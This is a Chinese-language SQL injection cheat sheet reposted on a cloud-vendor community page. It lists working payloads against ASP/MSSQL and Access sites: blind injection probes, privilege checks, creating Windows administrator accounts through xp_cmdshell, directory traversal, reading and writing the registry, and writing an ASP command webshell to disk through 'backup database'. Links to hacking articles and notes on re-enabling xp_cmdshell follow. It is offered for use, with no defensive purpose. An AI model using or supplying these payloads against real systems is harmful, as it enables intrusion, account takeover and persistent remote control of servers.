asp 注入採用的方法

來源:互聯網
上載者:User

1.判斷是否有注入 
;and 1=1 
;and 1=2 

2.初步判斷是否是mssql 
;and user>0 

3.判斷資料庫系統 
;and (select count(*) from sysobjects)>0 mssql 
;and (select count(*) from msysobjects)>0 access 

4.注入參數是字元 
'and [查詢條件] and ''=' 

5.搜尋時沒過濾參數的 
'and [查詢條件] and '%25'=' 

6.猜資料庫 
;and (Select Count(*) from [資料庫名])>0 

7.猜欄位 
;and (Select Count(欄位名) from 資料庫名)>0 

8.猜欄位中記錄長度 
;and (select top 1 len(欄位名) from 資料庫名)>0 

9.(1)猜欄位的ascii值(access) 
;and (select top 1 asc(mid(欄位名,1,1)) from 資料庫名)>0 

(2)猜欄位的ascii值(mssql) 
;and (select top 1 unicode(substring(欄位名,1,1)) from 資料庫名)>0 

10.測試許可權結構(mssql) 
;and 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- 
;and 1=(SELECT IS_SRVROLEMEMBER('serveradmin'));-- 
;and 1=(SELECT IS_SRVROLEMEMBER('setupadmin'));-- 
;and 1=(SELECT IS_SRVROLEMEMBER('securityadmin'));-- 
;and 1=(SELECT IS_SRVROLEMEMBER('diskadmin'));-- 
;and 1=(SELECT IS_SRVROLEMEMBER('bulkadmin'));-- 
;and 1=(SELECT IS_MEMBER('db_owner'));-- 

11.添加mssql和系統的帳戶 
;exec master.dbo.sp_addlogin username;-- 
;exec master.dbo.sp_password null,username,password;-- 
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 
;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- 

12.(1)遍曆目錄 
;create table dirs(paths varchar(100), id int) 
;insert dirs exec master.dbo.xp_dirtree 'c:\' 
;and (select top 1 paths from dirs)>0 
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) 

(2)遍曆目錄 
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 
;insert temp exec master.dbo.xp_availablemedia;-- 獲得當前所有磁碟機 
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 獲得子目錄列表 
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 獲得所有子目錄的分類樹結構 
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看檔案的內容 

13.mssql中的預存程序 
xp_regenumvalues 註冊表根鍵, 子鍵 
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多個記錄集方式返回所有索引值 
xp_regread 根鍵,子鍵,索引值名 
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定鍵的值 
xp_regwrite 根鍵,子鍵, 值名, 實值型別, 值 
實值型別有2種REG_SZ 表示字元型,REG_DWORD 表示整型 
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 寫入註冊表 
xp_regdeletevalue 根鍵,子鍵,值名 
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 刪除某個值 
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 刪除鍵,包括該鍵下所有值 

14.mssql的backup建立webshell 
use model 
create table cmd(str image); 
insert into cmd(str) values ('<% Dim oScript %>'); 
backup database model to disk='c:\l.asp'; 

15.mssql內建函數 
;and (select @@version)>0 獲得Windows的版本號碼 
;and user_name()='dbo' 判斷當前系統的串連使用者是不是sa 
;and (select user_name())>0 爆當前系統的串連使用者 
;and (select db_name())>0 得到當前串連的資料庫 

16.簡潔的webshell 
use model 
create table cmd(str image); 
insert into cmd(str) values ('<%=server.createobject("wscript.shell").exec("cmd.exe /c "&request("c")).stdout.readall%>'); 
backup database model to disk='g:\wwwtest\l.asp'; 

請求的時候,像這樣子用: 
http://ip/l.asp?c=dir 

SQL注入天書 - ASP注入漏洞全接觸(小竹) 
http://fox.163n.com/xyhack/hhh/list.asp?id=222 

MSSQL 跨庫查詢(臭要飯的!黑夜) 
http://fox.163n.com/xyhack/hhh/list.asp?id=66 

榨乾MS SQL最後一滴血 
http://fox.163n.com/xyhack/hhh/list.asp?id=309 

SQL語句參考及記錄集對象詳解 
http://fox.163n.com/xyhack/hhh/list.asp?id=124 

關於SQL Server中預存程序 
http://fox.163n.com/xyhack/hhh/list.asp?id=314 

利用 mssql backup 建立webshell 
http://fox.163n.com/xyhack/hhh/list.asp?id=219 

SQL_Injection進階應用程式 
http://fox.163n.com/xyhack/hhh/list.asp?id=221 

跨站式SQL注入(老凱(laokai)) 
http://fox.163n.com/xyhack/hhh/list.asp?id=383 

怪異的SQL注入(AMANL) 
http://fox.163n.com/xyhack/hhh/list.asp?id=320 

SQL Server應用程式中的進階SQL注入(翻譯:青野志狼) 
http://fox.163n.com/xyhack/hhh/list.asp?id=338 

如何利用Sql 注入遍曆目錄(sinka QQ:20355) 
http://fox.163n.com/xyhack/hhh/list.asp?id=316 

SQL Injection技巧的演練(翻譯人: demonalex) 
http://fox.163n.com/xyhack/hhh/list.asp?id=301 

SQL資料庫的一些攻擊 
http://fox.163n.com/xyhack/hhh/list.asp?id=152 

SQL Injection攻擊技術(JSW) 
http://fox.163n.com/xyhack/hhh/list.asp?id=208 

SQL_Injection進階應用程式(apachy) 
http://fox.163n.com/xyhack/hhh/list.asp?id=221 

SQL注入的不常見方法(桂林老兵) 
http://fox.163n.com/xyhack/hhh/list.asp?id=231 

Backup a shell 
http://fox.163n.com/xyhack/hhh/list.asp?id=274 

談php+mysql注射語句構造(黑嘿黑·≯Super·Hei) 
http://fox.163n.com/xyhack/hhh/list.asp?id=386 

Advanced SQL Injection with MySQL(angel) 
http://fox.163n.com/xyhack/hhh/list.asp?id=405 

L'injection (My)SQL via PHP 
http://fox.163n.com/xyhack/hhh/list.asp?id=420 

Oracle SQL語言 
http://fox.163n.com/xyhack/hhh/list.asp?id=206 

前提需要工具:SQL Query Analyzer和SqlExec Sunx Version 

1.去掉xp_cmdshell擴充過程的方法是使用如下語句: 

if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[xpcmdshell]') and OBJECTPROPERTY(id,N'IsExtendedProc')=1) 
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]' 

2.添加xp_cmdshell擴充過程的方法是使用如下語句: 

(1)SQL Query Analyzer 

sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll' 

(2)首先在SqlExec Sunx Version的Format選項裡填上%s,在CMD選項裡輸入 

sp_addextendedproc 'xp_cmdshell','xpsql70.dll' 

去除 

sp_dropextendedproc 'xp_cmdshell' 

(3)MSSQL2000 

sp_addextendedproc 'xp_cmdshell','xplog70.dll'

相關文章

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.